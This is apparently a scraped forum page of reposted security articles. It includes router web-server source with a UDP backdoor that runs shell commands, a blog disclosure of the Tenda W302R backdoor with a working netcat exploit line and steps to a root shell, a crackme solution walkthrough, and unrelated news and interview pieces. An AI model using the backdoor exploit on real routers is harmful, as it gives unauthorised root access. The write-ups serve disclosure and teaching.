GA_HOSTNAME_SUPPORT ascToUni(wbuf, host, min(strlen(host) + 1, sizeof(wbuf))); #else //use ip address (already in wbuf) as host #endif websSetHost(wbuf); /* * Configure the web server options before opening the web server */ websSetDefaultPage(T("default.asp")); websSetPassword(password); /* * Open the web server on the given port. If that port is taken, try * the next sequential port for up to "retries" attempts. */ websOpenServer(port, retries); /* * First create the URL handlers. Note: handlers are called in sorted order * with the longest path handler examined first. Here we define the security * handler, forms handler and the default web page handler. */ websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST); websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0); websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0); websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler, WEBS_HANDLER_LAST); /* * Define our functions */ formDefineUtilities(); formDefineInternet(); #if defined CONFIG_RALINKAPP_SWQOS formDefineQoS(); #endif #if defined CONFIG_USB formDefineUSB(); #endif #if defined CONFIG_RALINKAPP_MPLAYER formDefineMedia(); #endif formDefineWireless(); #if defined INIC_SUPPORT || defined INICv2_SUPPORT formDefineInic(); #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) formDefineLegacy(); #endif #if defined CONFIG_RT2860V2_STA || defined CONFIG_RT2860V2_STA_MODULE formDefineStation(); #endif formDefineFirewall(); formDefineManagement(); formDefineVPN(); init_dtu(); init_msg(); init_status_report(); init_linkbackup(); init_reboot(); init_pptp(); init_l2tp(); init_vrrp(); init_gps(); init_snmp(); /* * Create the Form handlers for the User Management pages */ #ifdef USER_MANAGEMENT_SUPPORT //formDefineUserMgmt(); winfred: we do it ourselves #endif /* * Create a handler for the default home page */ websUrlHandlerDefine(T("/"), NULL, 0, websHomePageHandler, 0); return 0; } /******************************************************************************/ /* * Home page handler */ static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, char_t *url, char_t *path, char_t *query) { /* * If the empty or "/" URL is invoked, redirect default URLs to the home page */ if (*url == '\0' || gstrcmp(url, T("/")) == 0) { websRedirect(wp, T("home.asp")); return 1; } return 0; } /******************************************************************************/ /* * Default error handler. The developer should insert code to handle * error messages in the desired manner. */ void defaultErrorHandler(int etype, char_t *msg) { write(1, msg, gstrlen(msg)); } /******************************************************************************/ /* * Trace log. Customize this function to log trace output */ void defaultTraceHandler(int level, char_t *buf) { /* * The following code would write all trace regardless of level * to stdout. */ if (buf) { if (0 == level) write(1, buf, gstrlen(buf)); } } /******************************************************************************/ /* * Returns a pointer to an allocated qualified unique temporary file name. * This filename must eventually be deleted with bfree(); */ #if defined CONFIG_USB_STORAGE && defined CONFIG_USER_STORAGE char_t *websGetCgiCommName(webs_t wp) { char *force_mem_upgrade = nvram_bufget(RT2860_NVRAM, "Force_mem_upgrade"); char_t *pname1 = NULL, *pname2 = NULL; char *part; if(!strcmp(force_mem_upgrade, "1")){ pname1 = (char_t *)tempnam(T("/var"), T("cgi")); }else if(wp && (wp->flags & WEBS_CGI_FIRMWARE_UPLOAD) ){ // see if usb disk is present and available space is enough? if( (part = isStorageOK()) ) pname1 = (char_t *)tempnam(part, T("cgi")); else pname1 = (char_t *)tempnam(T("/var"), T("cgi")); }else{ pname1 = (char_t *)tempnam(T("/var"), T("cgi")); } pname2 = bstrdup(B_L, pname1); free(pname1); return pname2; } #else char_t *websGetCgiCommName(webs_t wp) { char_t *pname1, *pname2; pname1 = (char_t *)tempnam(T("/var"), T("cgi")); pname2 = bstrdup(B_L, pname1); free(pname1); return pname2; } #endif /******************************************************************************/ /* * Launch the CGI process and return a handle to it. */ int websLaunchCgiProc(char_t *cgiPath, char_t **argp, char_t **envp, char_t *stdIn, char_t *stdOut) { int pid, fdin, fdout, hstdin, hstdout, rc; fdin = fdout = hstdin = hstdout = rc = -1; if ((fdin = open(stdIn, O_RDWR | O_CREAT, 0666)) < 0 || (fdout = open(stdOut, O_RDWR | O_CREAT, 0666)) < 0 || (hstdin = dup(0)) == -1 || (hstdout = dup(1)) == -1 || dup2(fdin, 0) == -1 || dup2(fdout, 1) == -1) { goto DONE; } rc = pid = fork(); if (pid == 0) { /* * if pid == 0, then we are in the child process */ if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\n" "Execution of cgi process failed\n"); } exit (0); } DONE: if (hstdout >= 0) { dup2(hstdout, 1); close(hstdout); } if (hstdin >= 0) { dup2(hstdin, 0); close(hstdin); } if (fdout >= 0) { close(fdout); } if (fdin >= 0) { close(fdin); } return rc; } /******************************************************************************/ /* * Check the CGI process. Return 0 if it does not exist; non 0 if it does. */ int websCheckCgiProc(int handle, int *status) { /* * Check to see if the CGI child process has terminated or not yet. */ if (waitpid(handle, status, WNOHANG) == handle) { return 0; } else { return 1; } } /******************************************************************************/ #ifdef B_STATS static void memLeaks() { int fd; if ((fd = gopen(T("leak.txt"), O_CREAT | O_TRUNC | O_WRONLY, 0666)) >= 0) { bstats(fd, printMemStats); close(fd); } } /******************************************************************************/ /* * Print memory usage / leaks */ static void printMemStats(int handle, char_t *fmt, ...) { va_list args; char_t buf[256]; va_start(args, fmt); vsprintf(buf, fmt, args); va_end(args); write(handle, buf, strlen(buf)); } #endif /******************************************************************************/ /* added by YYhuang 07/04/02 */ int getGoAHeadServerPort(void) { return port; } #ifdef CONFIG_DUAL_IMAGE static int set_stable_flag(void) { int set = 0; char *wordlist = nvram_get(UBOOT_NVRAM, "Image1Stable"); if (wordlist) { if (strcmp(wordlist, "1") != 0) set = 1; } else set = 1; if (set) { printf("Set Image1 stable flag\n"); nvram_set(UBOOT_NVRAM, "Image1Stable", "1"); } return 0; } #endif int call_shell(char *cmdbuf,char *outbuf,int outBufLen) { FILE *fp; int iLen = 0,lentmp; char bufTmp[256]; fp = popen(cmdbuf,"r"); if (fp == NULL) { return -1; } for ( { memset(bufTmp,0,sizeof(bufTmp)); if (fgets(bufTmp,sizeof(bufTmp),fp) == NULL) break; lentmp = strlen(bufTmp); if ((iLen + lentmp + 1) > outBufLen) break; memcpy(outbuf + iLen,bufTmp,lentmp); iLen += lentmp; } pclose(fp); *(outbuf + iLen) = 0; return iLen; } #define RECV_MAX_LEN 128 #define SEND_MAX_LEN 2048 extern int readUsb(char *fileName); void MfgThread() { int mfg_fd; int i,iLen; struct sockaddr_in local,remote; char *LocalIP; char *pos; char RecvBuf[RECV_MAX_LEN],SendBuf[sEND_MAX_LEN]; char FlagBuf[RECV_MAX_LEN],CmdBuf[RECV_MAX_LEN],ValBuf[RECV_MAX_LEN]; memset( &local, 0, sizeof(local) ); local.sin_family = AF_INET; local.sin_port = htons(24151); LocalIP = nvram_bufget(RT2860_NVRAM, "lan_ipaddr"); //GetCfmValue("lan_ipaddr", LocalIP); //local.sin_addr.s_addr = INADDR_ANY; local.sin_addr.s_addr = inet_addr(LocalIP); mfg_fd = socket( AF_INET,SOCK_DGRAM, 0 ); if ( mfg_fd < 0 ) { printf("MfgThread socket error.\n"); return ; } int n = 1; if(setsockopt(mfg_fd, SOL_SOCKET, SO_REUSEADDR, (char *) &n, sizeof(n)) == -1) { close(mfg_fd); printf("MfgThread: setsockopt 1 failed\n"); return ; } if (bind(mfg_fd,(struct sockaddr*)&local,sizeof(local)) < 0) { printf("MfgThread bind error.\n"); return; } while (1) { memset(RecvBuf,0,sizeof(RecvBuf)); i = sizeof(struct sockaddr); iLen = recvfrom(mfg_fd,(char *)RecvBuf,RECV_MAX_LEN,0,(struct sockaddr*)&remote,&i); if (iLen <= 0) { sleep(1); continue; } //printf("MfgThread recv %d[%s]\n",iLen,RecvBuf); if (iLen < 14) { continue; } memset(FlagBuf,0,RECV_MAX_LEN); memset(CmdBuf,0,RECV_MAX_LEN); memset(ValBuf,0,RECV_MAX_LEN); //Request: //cmd fmt: w302r_mfg 1 cmd[...] //1:cmd ±ØÐëΪiwprivÃüÁî // // Response: // cmd fmt: result(cmd out stream) memcpy(FlagBuf,RecvBuf,9); memcpy(CmdBuf,RecvBuf + 10,1); memcpy(ValBuf,RecvBuf + 12,iLen - 12); //printf("[%s][%s][%s]\n",FlagBuf,CmdBuf,ValBuf); if (strcmp(FlagBuf,"rlink_mfg") != 0) { continue; } memset(SendBuf,0,SEND_MAX_LEN); if (CmdBuf[0] == '1') { pos = strstr(ValBuf,"iwpriv"); if (pos == NULL) { continue; } //printf("Req[%s]\n",ValBuf); iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN); if (iLen > 0){ printf("Res[%s]\n",ValBuf); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } else { strcpy(SendBuf,"000000"); iLen = strlen(SendBuf); printf("Res[%s]\n",SendBuf); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } else if (CmdBuf[0] == 'x') { iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN); //printf("*[%d][%s]\n",iLen,SendBuf); if (iLen > 0){ sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } else if (CmdBuf[0] == 'e') { iLen = strlen("ralink_mfg"); strcpy(SendBuf,"ralink_mfg"); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); }else if (CmdBuf[0] == 'u'){ //if(readUsb(ValBuf)){ // strcpy(SendBuf,"USB Success."); //}else // strcpy(SendBuf,"USB Failed."); //sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } } void InitMfgTask() { pthread_t id; int ret; ret = pthread_create(&id, NULL,(void *) MfgThread,NULL); return ; } Sursa: https://github.com/socoola/yhrouter/blob/master/user/goahead/src/goahead.c
-
[h=1]From China, With Love[/h]By Craig | October 17, 2013 | Embedded Systems, Reverse Engineering Lest anyone think that D-Link is the only vendor who puts backdoors in their products, here’s one that can be exploited with a single UDP packet, courtesy of Tenda. After extracting the latest firmware for Tenda’s W302R wireless router, I started looking at /bin/httpd, which turned out to be the GoAhead webserver: Server header string in /bin/httpd But Tenda has made a lot of special modifications themselves. Just before entering the HTTP receive loop, main calls InitMfgTask, which spawns the MfgThread function as a separate thread: pthread_create(&var_10, 0, MfgThread, 0); Hmmm…InitMfgTask and MfgThread? Related to manufacturing tasks perhaps? Iiiiiinteresting… The first thing MfgThread does is create a UDP socket and bind it to port 7329: Create UDP socket and bind to port 7329 The thread then goes into a recvfrom loop, reading up to 128 bytes from the socket. It expects each received UDP packet to be at least 14 bytes in length: Read packet from socket and check packet size Now for the fun part; the received UDP packet is then parsed by this block of code: Processing the received packet In C, this code reads: memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop; We can see that the thread is expecting a packet with the following structure: struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; }; As long as the received packet starts with the string “w302r_mfg”, the code then compares the specified command byte against three ASCII characters (’1?, ‘x’, and ‘e’): Comparing command_byte to ’1?, ‘x’ and ‘e’ For simplicity, I’ve converted the remaining disassembly (at least the important bits) to the following C code: switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop; The following actions correspond to the three accepted command bytes: ‘e’ – Responds with a pre-defined string, basically a ping test ’1? – Intended to allow you to run iwpriv commands ‘x’ – Allows you to run any command, as root If ‘x’ is specified as the command byte, the remainder of the packet after the command byte (called command_arg in the above code) is passed to call_shell, which executes the command via popen: popen(command_arg, “r”); What’s more, call_shell populates the tx_buf buffer with the output from the command, which, as we can see from the previous C code, is sent back to the client! Knowing the functionality of MfgThread and its expected packet structure, we can easily exercise this backdoor with netcat: $ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin One teensy-weensy, but ever so crucial little tiny detail is that the backdoor only listens on the LAN, thus it is not exploitable from the WAN. However, it is exploitable over the wireless network, which has WPS enabled by default with no brute force rate limiting. My shiny new ReaverPro box made relatively short work of cracking WPS, providing access to the WLAN and a subsequent root shell on the router (they also ship with a default WPA key, which you might want to try first): ReaverPro cracking the WPS pin Starting telnetd and getting a root shell As the magic string suggests, this backdoor was likely first implemented in Tenda’s W302R router, although it also exists in the Tenda W330R, as well as re-branded models, such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic packet string. UPDATE: ea did a great job of grepping through various Tenda firmwares to find a lot more routers that are likely affected: Tenda backdoor - ea's blag Sursa: From China, With Love - /dev/ttyS0
-
Convert MySQL Queries to MongoDB Syntax http://www.querymongo.com/
-
[h=3]Beating an SEH/VEH based Crack me through analysis[/h]In this article , I will try to show how to beat an advanced crackme that is using an interesting way to calculate the length and it’s generating exceptions to be dealt with in order to return values into 32-bit registers such as EAX register , the key to beat a crackme is deep analysis through what it does under the hood especially when it’s using mixed methods to confuse,stop or slow the reverser. This Crackme was taken from a very popular challenge website that I will not mention , I edited the strings printed in the interface in memory not to spot the website . I was also the 16th person to validate it (Validation rate 1%). Let’s start by opening the CrackMe and see what it’s waited from us to do !! It asks us politely to type a pass or to Crack it I guess. Open your mind and carry on . Now we need to take a quick look on what routines are exactly dealing with the user input . Let’s switch to Immunity and take a quick look. You can see that it is taking a user input then calling an address specified by EBX register after that it’s deciding whether printing the success or fail message. We are now interested in what’s directly going after getting the user input using scanf so let’s see what EBX holds and step into that call. EBX isn't taking us farther but just below this code a little bit. The instructions which EBX will take us to are the ones responsible for checking the user input and deciding whether it’s right or not. The responsible routine is a little bit long and it’s split into 4 main parts each part ends with a JE (Jump If Equal) instruction. So let’s take care of each part alone : 1st Part – Checking the length : Here are the instructions : We can see that DEADBABE will be added to 227A65DD which will make ESI holding the memory address that specifies the user-input, then the next instruction will try to set the CarryFlag which is already set , the next instruction that may attract your attention is at address 00CC109D this is the address that will actually calculate the input string length . How did I know it ? I will explain. You can see that the value 400 is moved to ECX , you can also remark that 227A69D9 is moved to EDI then EBX is added to it , the result will be stored at EDI for sure. Before the ADD instruction we have a VERY important instruction which is SALC , this instruction will Set the AL value to FF if the CF is set or to 00 if the CF is cleared . In our case CF is set , so the value of AL will be FF , this value is very important because the SCASB instruction will try to find all bytes that aren’t matching AL starting at ES:[(E)DI] . In addition, here we have the REPE instruction that is accompaigned with the SCASB instruction so it will try to use the ECX register to specify a search « array » , you can clearly see that ECX register was set to 400. Now , go and check what EDI is holding after the ADD instruction you will see that it’s holding the value 00CC2497 . Follow this value in dump and you will find yourself in front of a bunch of «FF » , you see now that ECX holds the value 400 , this means that the search array will go to zero in other words and in theory the search will end when ECX will hold the value 00000000 , which make us figure out that the instruction will search for the first value that is different from « FF » from 00CC2497 until ( 00CC2497 – 400 ) = 00CC2097 and if no different values from FF were found ECX will just hold 00000000 . When following 00CC2097 in dump you will find what follows : Here, the REPE SCASB instruction will stop in the last highlighted NULL byte in blue « 00 » because it is different from « FF » here ECX will hold the length from 00012097 until the value before the null byte. In my case here (input 123456) ECX will hold the value 9 because we should begin the counting from 0 then 1 then 2 until reaching 9 means reaching 000120A0. Now that we know how the length is calculated we should figure out what length this crackme needs. In this phase we don’t care about if the serial is right or not because we just want to get through the first condition in a right way. You can see in the last two lines that we will subtract 0F from ECX then Jump if ZF=1 or not jump if ZF=0 , in other words if the ECX = 00000000 after the subtraction the ZF will be set if not it will still equal 0. So basically after the REPE SCASB instruction ECX should hold 0F which equals 15 in decimal . So we just need to insert a string with 12 character length and he jump will be taken 2nd Part – First 4 bytes of the flag : As the conditional jump was taken you will fall directly into the second instruction which is LODS DWORD PTR DS:[ESI], this instruction will basically load the DWORD DS:[ESI] value into EAX register this value should be the first 4 characters that we wrote in our flag in decimal and also converted to little endian so if the first 4 characters that you entered were 1234 then EAX should hold after this instruction 34333231. After that we see that a DWORD is moved to EDX then EAX is Xored with it , this is almost the same case that I coded in CrackMe#3 at Hackathon Challenge . The right value of EAX after xoring it with EDX should be 1608030E so the first DWORD of our flag is 1608030E Xored with EDX . Which will give you that value : XOR 1608030E, 5A643059 = 4C6C3357 you will just have to convert it to big endian and you will have the first 4-bytes of the flag : 57336C4C which is « W3lL » in ASCII. Now just type W3lL and type 8 random characters after it and you will see that ZF will be set after the compare and the jump will be taken. 3rd part – Second 4-bytes of the flag (SEH) : The 2 first parts were fun , now more . Let’s see the instructions : Like the last part, we will fall directly into the second instruction which will move a DWORD from memory to EBX register , after that a substruction of 1000 will be done to EBX which will carry now 00CC1530 . This adress is the new adresse of the exception handler which will be set in a while , EBX will be pushed then the new exception handler will be completely created when moving ESP into DWORD PTR FS:[0] . After that the second 4 bytes of the user-input will be placed into EAX register in little endian format , then a value that will xor EAX is moved into EBX. Here where the TRAP is : the « INT 1 » instruction. We can see here that when we will step over this instruction using « F8 » the EIP will just hold directly the adresse 00CC10DF , so we don’t have to step over this instructions but let run normally the crackme as it was executed outside a debugger . Basically the INT 01 instruction is called single-step break it will run after each instruction if the TrapFlag is set . Nevertheless, here it’s invoked directly inside the code and the TF is cleared which will generate an exception and never set the TF. Let me explain to you what is exactly happening when the « INT 1 » is passed through in normal execution and not by single stepping through it , keep in mind that this INT instruction will generate an exception that will be handeled by the SEH newly created . Basically when we will trigger this interrupt the processor will go into the 1st location in the Interrupt Vector Table which starts in memory location 0x00 and ends at 0x3FF simply because interrupts can take a number which is between 0 and 255. After that the IP will be saved and also the CS , this basically will store 4 bytes (IP = 2 bytes & CS = 2 bytes) , before the interrupt will hand back the flow of execution to the program normally it will return using an « iret » instruction . Here the IMPORTANT PART that the CS:IP and all FLAGS are restored again. So basically when the instruction PUSH EBX at 00CC10C6 is executed it will indicate the current SE Handler which means the instructions that will deal with an exception , the exception here is triggered by the « INT 1 » instruction and the execution flow is moved directly into 00CC1530 , after returning the exception will be handeled and the execution flow will continue normally . The only thing you need to do is just set a breakpoint on the instruction after the « INT 1 » instruction because the EIP will be incremented by 2 and it will skip that instruction. After we will return from the Exception handling routines we will see that EAX will hold a return value that is ADDed to the previous value that was held by EAX. Now let’s work on finding that god damn second part of the validation flag. Pretend that I didn't say that the return value stored in EAX isn't added to its previous value so here you can just see after stepping over the « INT 1 » that the value of EAX will change. So we need to figure out if the EAX holds an address that have been moved , added or subtracted to it. In order to do it let’s rerun our Crackme inside a debugger for sure . Now we will enter this input for example : W3lL11119876 the DWORD that will be treated in this part is 31313131 (111 in ASCII) so let’s step over the LODSD instruction and you will see that EAX is filled now with 31313131. As I said previously , you have to set a bp at 00CC10DD then step over it using <shift + F8> BUT we don’t want to do that now because this will make the value of EAX change and we will need to figure out what arithmetic operation is done when the value that is returned by interrupt will be Moved , added , subtracted , multiplied by the current value of EAX. So here what I've done is that I went and edited the value of EAX just before executing the interrupt to NULL , EAX =00000000 So I will not need to brute force each arithmetic operation if it’s an ADD so EAX will hold a value if it’s a multiplication EAX will still hold 0 , division either 0 or an exception ... etc So , after executing the Interrupt I realized that EAX holds the value 21486553 , let’s covert this to big endian and to ASCII cause it’s printable =) ... we will finally have 53654821 = SeH! If you want to be more sure if the operation is an addition just go and change EAX to 00000001 and you will get 21486554 which is in big endian + ASCII : TeH! . Ok so now after we knew what is the value returned by the interrupt we must know what is the right value that EAX should hold before the XOR instruction. That’s simple , we see that EAX is compared to 18D386D7 after being Xored and it’s Xored with 495F4265 , so just before the XOR and just after « INT 1 » EAX should hold : 518CC4B2 (Xoring 18D386D7 with 495F4265) . Okey now we found what value EAX should hold just after the « INT 1 » instruction and we know that after the interrupt 21486553 is added to EAX register . Sooo the right value of EAX after the LODSD instruction is 518CC4B2 – 21486553 = 30445F5F int big endian 5F5F4430 and in ASCII : __D0 . So now the 8 first characters of the flag are W3lL__D0 . Let’s try to rerun the crackme and enter this serial : W3lL__D09876 . By stepping throught instructions until the Jump if equal in this part (don’t forget the bp) , you will see that the ZF will be set and the jump will be taken simply because the comparison went true and those 4 bytes are the correct ones. 4th part – The last 4 bytes of the flag (VEH) : Here are the instructions : We can see from a general view that these instructions are building a Vectored Exception Handler (VEH) which will deal with an exception executing a routine present at the instruction pointed by EBX , pushing a second Nonzero argument indicates that the VEH is inserted into the very head of the list then it’s Removed after executing a bunch of instructions that will check how is the last DWORD of the user-input is correct , those instructions are containing an exception at adresse 00CC110A. But first what is a Vectored Exception Handler . According to MSDN : – Vectored Exception Handling is new as of Windows XP. – All information about VEH are stored in the Heap. – Vectored exception handlers are explicitly added by your code, rather than as a byproduct of try/catch statements. – Handlers aren't tied to a specific function nor are they tied to a stack frame. So basically to be sure that an excpetion is trigerred and dealed with we have to put a breakpoint on the first instruction that is executed by the VEH which will be the EBX register pushed adresse for sure. While running the code we will see that the last DWORD is loaded in little endian format again into EAX register then a value is moved to EBX which is the value that we will use for Xoring. But just after this we have a MOV instruction which will move EBX to the current DWORD in the memory location pointed by EBP , while stopping in that instruction you will see that EBP is holding the value 00000001 so an exception should be triggered as it’s impossible to move EBX to that location . If you put a bp on the pushed EBX in the stack you will see that the execution flow will be taken by the instructions at 00CC1960 (pushed EBX as an arg to create the VEH) . Those routines will handle this exception and return also a value to EAX register which will be added as happened in the previous part of checking the flag. So we will need to figure out what is that added value again , all we need to do is to change the value of EAX register after the LODSD instruction to 00000000 then put a breakpoint on 00CC110D and press « F9 » so we don’t skip that instruction as happened last time. Now all we have to do is look at what EAX is holding : it’s holding D9150F32 . So after the handling the exception this value (D9150F32) will be added to EAX register , now we need to figure out what should be the right value of EAX just after handling the exception means : (D9150F32+ LastFlagDwordLittleEndian) You will just have to XOR 8E7632F3 with EBX , and you will have this value : FA3654A0 . So the right last DWORD of the flag in little endian should be : FA3654A0 – D9150F32 =2121456E –> Big Endian = 6E452121 –> ASCII =nE!! So the last 4 characters of the flag are : nE!! ... 5 – Regrouping the 3 parts : So the complete flag to validate the challenge is : W3lL__D0nE!! Now just try to provide the flag to the Crackme and you will see that : Finally , this was a really GOOD crackme that I actually enjoyed discovering and cracking because it uses many handlers to deal with exceptions then return some values that will be added and also uses a very interesting method to check for the length . Author: The Article is submitted by Souhail Hammou (Dark-Puzzle) from www.itsecurity.ma. You can follow him here: http://www.facebook.com/dark.puzzle.sec & http://twitter.com/dark_puzzle Sursa: Beating an SEH/VEH based Crack me through analysis| Learn How to Hack| Ethical Hacking
-
Geniu de Stiinta Roman - Realizarea Imposibilului
Nytro replied to OvidiuAnghelidi's topic in Off-topic
Tipul e bolnav, ar trebui ajutat. Am editat postul de mai sus. -
Firefox can't find the server at gktibioivpqbot.net. L-au si busit
-
Geniu de Stiinta Roman - Realizarea Imposibilului
Nytro replied to OvidiuAnghelidi's topic in Off-topic
Sa luam pe rand: 1. Generarea dinamica de date. Cica pentru aceleasi date de intrare, ai date de iesire diferite. Care e rostul atunci si cum se vor DECRYPTA datele? Cum se ajunge ca avand aceleasi date de intrare sa ai date diferite de iesire? Nu ai zis nimic de niciun PRNG. 2. Ce anume genereaza acele miliarde de ecuatiii diferentiale? 3. Bazate pe valorile de la pasul de timp anterior. Care valori? 4. Si de unde vor avea NOI valori? De ce? 5. Ce legatura au retelele neurale? 6. Se poate incripta in sistem la mai mult de un singur pas. Ha? De aici: Sincer, cred ca esti doar nebun si ca "geniu" nu are nicio legatura cu balivernele pe care le spui acolo. Ar trebui sa consulti un medic: http://ro.wikipedia.org/wiki/Schizofrenie O persoan? diagnosticat? cu schizofrenie poate avea halucina?ii (cele mai frecvente sunt reprezentate de auzirea unor voci), deliruri (adesea bizare sau de natur? persecutorie) ?i gândire ?i vorbire dezorganizate. Ultima poate baleia de la pierderea ?irului gândirii la fraze vag conectate ca în?eles ?i la incoeren??, cunoscut? drept schizofazie, în cazuri severe. Ai aceeasi problema ca tipa asta: http://www.youtube.com/watch?v=N8kQ7QetkdQ Pe scurt, plecand de la o idee ireala (nebuneasca si imposibila dupa cum tu ziceai), incerci sa o dezvolti dar o imbini cu niste lucruri care nu au nici cea mai mica legatura cu ideea ta. In final, iese un video ca cel de mai sus sau ca probabil multe altele, care nu are nici cea mai mica logica. Spre deosebire de tipa din videoclipul de mai sus, care probabil "e pasionata" de limba si literatura romana, tu esti pasionat de IT si de cryptografie. Rezultatul e acelasi. -
https://www.facebook.com/photo.php?v=642481769116063
-
Social engineering bre.
-
[h=1]Microsoft Releases Remote Desktop for Android and iOS[/h] Android/iOS: Alongside Windows 8.1, Microsoft released its Remote Desktop application today for both Android and iOS. This makes it easy to control your Windows desktop from your Android or iOS device. As you'd expect, you can control pretty much everything on your Windows computer right from your smartphone or tablet. Once you're connected, you can control your computer using the touch interface with full support for Windows gestures. Everything's authenticated as well, so wherever you are your connection will remain secure. Microsoft Remote Desktop (Free) | Google Play Microsoft Remote Desktop (Free) | iTunes App Store Sursa: Microsoft Releases Remote Desktop for Android and iOS
-
[h=3]NCSAM – an Interview with Cesar Cerrudo[/h] By Cesar Cerrudo @cesarcer and Craig Brophy @craigbrophy Today we continue our support for National Cyber Security Awareness Month, by interviewing Cesar Cerrudo, Chief Technology Officer for IOActive Labs. Cesar provides us with some insight of how he got into IT security and why it's important to be persistent! IOActive: How did you get into security? Cesar: I think my first hacks were when I was 10 years old or so. I modified BASIC code on CZ Spectrum games and also cheated games by loading different parts of the code from a cassette (yes not floppy disk at that time and loading games from a cassette took around 5-10mins and if something went wrong you have to try again, I don’t miss that at all ), but after that I was mostly away from computers until I was 19 years old and went to college. I was always interested on learning to hack but didn't have enough resources or access to a PC. So while I was at college I started to read books, articles, etc. - anything I could get my hands on. I used to play (and sometimes break) a friend’s PC (hi Flaco ) once in a while when I had the opportunity. I remember learning Assembly language just from reading books and looking at virus code printed in papers. Finding that virus code and learning from it was amazing (not having a PC wasn’t a problem; a PC is just a tool). Later on, with some internet access (an hour or so a week), it became easier since lots of information became available and I got access to a PC; so I started to try the things I read about and started to build my own tools, etc. When you're learning and reading, one topic takes you to another topic and so on, but I focused on things that I was more familiar with - like web apps, database servers, Microsoft Windows, etc. Luckily in Argentina it wasn’t illegal to hack at that time so I could try things in real life and production systems . A long time ago, I remember walking to the office of the CEO of my local ISP provider handing him hundred thousands of users, passwords and credit card information and telling him that their servers where hackable and that I hacked them. I know this sounds crazy but I was young and in the end they thank me, and I helped them identify and fix the vulnerabilities. I asked for a job but no luck, don’t know why . I also did other crazy hacks when I was young but better to not talk about that , nothing criminal. I used to report the vulnerabilities but most admins didn’t like it. I recommend not engaging in anything illegal, as nowadays you can easily end up in jail if you try to hack a system. Today it is simpler to build a lab and play safely at home. Luckily those crazy times ended and soon I started to find vulnerabilities in known and widely used software such as SQL Server, Oracle, Windows, etc., I was then also able to create some new attack and exploitation techniques, etc. IOActive: What do you find most exciting about security? Cesar: Learning new things, challenges, solving difficult problems, etc. You get to deeply study how some technologies work and can identify security problems on software/hardware massively used worldwide that sometimes have big impact on everyone's lives since everything has become digital nowadays. IOActive: What do you like to research, and why? Cesar: This is related to previous answers, but I like challenges, learning and hacking stuff. IOActive: What advice would you give to someone who would like to become a pentester/researcher? Cesar: My advice would be if you are interested in or like hacking, nothing can stop you. Everything is out there to learn. You just need to try hard and put in a lot of effort without ever giving up. Nothing is impossible it's just matter of effort and persistence. Posted by Cesar Sursa: IOActive Labs Research: NCSAM – an Interview with Cesar Cerrudo
-
Paper Questions Robustness of Two Linux PRNGs [h=1]Paper Questions Robustness of Two Linux PRNGs[/h] by Michael Mimoso The sanctity of the dev/random random number generator used in the Linux kernel has been a hot-button issue for more than a month. A petition posted to change.org in September to remove RdRand from dev/random, for example, was met with fury from Linus Torvalds who called the developer who posted it “ignorant,” suggesting not so nicely too that the developer learn more about cryptography. Now a host of researchers from New York University and Northeastern University have cast doubt on the two Linux pseudo RNGs overall, dev/random and dev/urandom. In a paper released this week, “Security Analysis of Pseudo-Random Number Generators with Input: /dev/random is Not Robust,” the researchers explain attacks that demonstrate inherent weaknesses in the respective algorithms, and also propose what they say is a simpler and more efficient PRNG. “We show several attacks proving that these PRNGs are not robust according to our definition, and do not accumulate entropy properly. These attacks are due to the vulnerabilities of the entropy estimator and the internal mixing function of the Linux PRNGs,” the researchers wrote in their paper. “These attacks against the Linux PRNG show that it does not satisfy the ‘robustness’ notion of security, but it remains unclear if these attacks lead to actual exploitable vulnerabilities in practice.” This is not the first time hardware-based security operations have been challenged in the academic world. Most recently, a team of researchers demonstrated how they were able to insert malware onto a chip, yet to detection mechanisms, the chip appears to be unchanged. They did so by changing the dopant polarity of transistors, leaving wiring and other circuitry untouched; dopant is added to semiconductors enabling it to conduct electricity. The PRNG attacks against dev/random take issue with the randomness of the 